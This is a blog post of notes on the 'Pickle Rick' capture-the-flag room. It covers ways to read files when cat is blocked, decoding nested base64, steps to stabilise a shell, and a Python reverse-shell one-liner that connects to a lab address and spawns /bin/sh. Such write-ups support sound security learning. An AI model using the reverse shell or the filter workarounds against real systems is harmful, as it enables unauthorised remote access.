Pickle Rick CTF [notes]

 other way to do : cat [file.txt] or any file: 


1. head clue.txt

2. dir

3. echo < [file.txt]

4. while read line; do echo $line; done < [file.txt]

5. grep -R .

6. grep . [file.txt]

7. more 

8. tail 


--------------------------------------------------------------------------------


base64 can be recursive, therefore keep doing: | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d


--------------------------------------------------------------------------------


getting a stable shell:


- python3 -c 'import pty; pty.spawn("/bin/bash")'

- CTRL z

- stty raw -echo 

- fg

- export TERM=xterm


bash script : 


#!/bin/bash


source "/opt/pmp/functions.sh"


hide_guake

call_cmd "python -c 'import pty; pty.spawn(\"/bin/bash\")'"

ctrl Z

call_cmd "stty raw -echo"

call_cmd "fg"

call_cmd "export TERM=xterm"


(using guake terminal)


 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.64.2",9961));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

-----------------------------------------------------------------------------------------------------------------------------

Thanks for reading! 

Roger - Ozz961

Comments

Popular posts from this blog

Common Network Commands: IP R

Junior Security Analyst Intro

Common Network Commands: Route